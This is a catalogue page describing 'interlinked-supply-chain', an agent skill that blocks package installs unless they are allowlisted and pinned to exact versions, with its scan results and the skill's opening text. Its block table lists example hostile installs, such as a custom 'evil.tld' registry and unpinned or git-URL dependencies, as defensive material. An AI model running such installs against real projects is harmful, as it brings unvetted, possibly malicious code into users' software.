interlinked-supply-chain

interlinked-supply-chain is a skill for Claude Code, Codex from QuentinCody/interlinked-cli. It costs 165 tokens per session (2,375 once invoked), scanned A, original, MIT.

A package-install safety skill for Interlinked, which requires dependencies to be approved and pinned to exact versions before installation.

In plain words
What is it for?
Use it when an install or dependency-file change is blocked, to inspect the allowlist, approve an exact package version, or verify package approvals.
Why use it?
It reduces the risk of installing malicious or unexpectedly changed packages from ecosystems such as npm, PyPI, Cargo, or Go.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/quentincody/interlinked-cli/interlinked-supply-chain
Any agent
npx skills add QuentinCody/interlinked-cli --skill interlinked-supply-chain
Clone the repo
git clone --depth 1 https://github.com/QuentinCody/interlinked-cli

Made for: Claude Code, Codex.

Per session 165 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,375 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00165 $0.02375
Opus 5 $0.00082 $0.01188
Sonnet 5 $0.00033 $0.00475
Haiku 4.5 $0.00016 $0.00237

Measured 3d ago against content hash 8b06f6ea648b, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

interlinked-supply-chain scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/interlinked-supply-chain/SKILL.md · 135 lines

How it starts

The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.

interlinked-supply-chain — package installs are default-deny

In an Interlinked-guarded repo, every package install is blocked before it runs unless the exact package is pre-approved on .interlinked/package-allowlist.json. The stance: any new dependency is potentially malicious (a response to the npm/PyPI malware surge). You cannot install your way out, and you cannot silently self-approve. When blocked, the correct move is almost always to surface the need to the human, not to force-approve.

Two independent requirements for an install to pass: (a) the name is allowlisted AND (b) the version is an exact pin ([email protected]). An approved name at a floating version (lodash, lodash@^4, lodash@latest) is still blocked — a range can resolve to a newer, compromised release.

Load this when

  • A package install was blocked with [interlinked:supply-chain].
  • Editing a manifest (package.json, requirements.txt, pyproject.toml, Cargo.toml, go.mod, Gemfile, composer.json, *.csproj, …) to add a dep was refused.
  • npm ci / bare npm install / pip install -r fails a snapshot check.
  • You need to approve, snapshot, list, or verify allowlisted packages.

What gets blocked

Action Result Why
npm install left-pad (name not allowlisted) block not approved
npm install lodash / lodash@^4 / lodash@latest block not an exact pin (range/tag)
npm install [email protected] (allowlisted + pinned) allow
npm install --registry https://evil.tld pkg / --index-url … block custom registry bypasses signing
npm install git+https://… / tarball URL / file: spec block never auto-approved (bypasses registry)
npm ci / bare npm install / pip install -r req.txt with no matching snapshot block lockfile not snapshot-approved
Edit package.json to add "evil": "^1" block manifest-edit gate (a second, separate gate)
npm uninstall x / version bump of an existing dep allow nothing new enters
npm install ./local-dir (local path) allow in-workspace, version-controlled
install verb while the daemon is down block (fail-closed) a dead guard is a security failure

Read the full file on GitHub · 135 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 135 lines · 165 tokens per session scan A 8b06f6ea648b

Subscribe to this mod's changes

interlinked-supply-chain is a skill published in the GitHub repository QuentinCody/interlinked-cli (13 stars, last pushed 15d ago), licensed MIT. It adds 165 tokens to every session and 2,375 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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